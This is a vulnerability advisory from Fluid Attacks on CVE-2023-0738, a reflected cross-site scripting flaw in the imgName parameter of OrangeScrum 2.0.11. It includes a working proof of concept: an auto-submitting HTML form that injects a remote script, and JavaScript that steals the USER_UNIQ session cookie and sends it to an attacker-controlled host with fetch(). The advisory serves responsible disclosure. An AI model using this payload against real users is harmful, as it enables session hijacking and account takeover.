

Advisories

OrangeScrum 2.0.11 - Reflected XSS via imgName

7.3

High

Discovered by

Carlos Bello

Offensive Team, Fluid Attacks

Summary

Full name

OrangeScrum 2.0.11 - Reflected XSS via imgName

Code name

Eilish

State

Public

Release date

Apr 10, 2023

Affected product

OrangeScrum

Affected version(s)

2.0.11

Vulnerability name

Reflected cross-site scripting (XSS)

Vulnerability type

008. Reflected cross-site scripting (XSS)

Remotely exploitable

Yes

CVSS v3.1 vector string

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N

CVSS v3.1 base score

7.3

Exploit available

CVE ID(s)

CVE-2023-0738

Description

OrangeScrum version 2.0.11 allows an external attacker to obtain arbitrary user accounts from the application. This is possible because the application returns malicious user input in the response with the content-type set to text/html.

Vulnerability

This vulnerability occurs because the application returns malicious user input in the response with the content-type set to text/html.

Exploitation

To exploit this vulnerability, we only need to send the following malicious HTML code to an application user.

Exploit.html

<!DOCTYPE html>
<html>
 <body>
 <form action="https://retr02332bughunter.orangescrum.com/users/done_cropimage" method="POST">
 <input type="hidden" name="x-cord" value="10" />
 <input type="hidden" name="y-cord" value="10" />
 <input type="hidden" name="width" value="10" />
 <input type="hidden" name="height" value="10" />
 <input type="hidden" name="imgName" value="<script type='text/javascript' src='https://retr02332.com/exploit-utils.js'></script>"/>
 </form>
 <script>
 document.forms[0].submit();
 </script>
 </body>
</html>

The malicious JavaScript that we embed in the page is as follows.

Exploit-utils.js

function getCookie(name) {
    const value = `; ${document.cookie}`;
    const parts = value.split(`; ${name}=`);
    if (parts.length === 2) return parts.pop().split(';').shift();
}

let sessionCookie = `USER_UNIQ=${getCookie("USER_UNIQ")}`;

fetch("https://retr02332.com/leak?"+sessionCookie);

Thus, when the user clicks on the malicious link, it will send its session cookie to the attacker's server logs.

Our security policy

We have reserved the ID CVE-2023-0738 to refer to this issue from now on. Disclosure policy

System Information

Version: OrangeScrum 2.0.11
Operating System: GNU/Linux

Mitigation

There is currently no patch available for this vulnerability.

References

Vendor page https://github.com/Orangescrum/orangescrum/

Timeline



Vulnerability discovered

Mar 12, 2023



Vendor contacted

Mar 12, 2023



Vendor replied

Mar 12, 2023



Public disclosure

Apr 10, 2023

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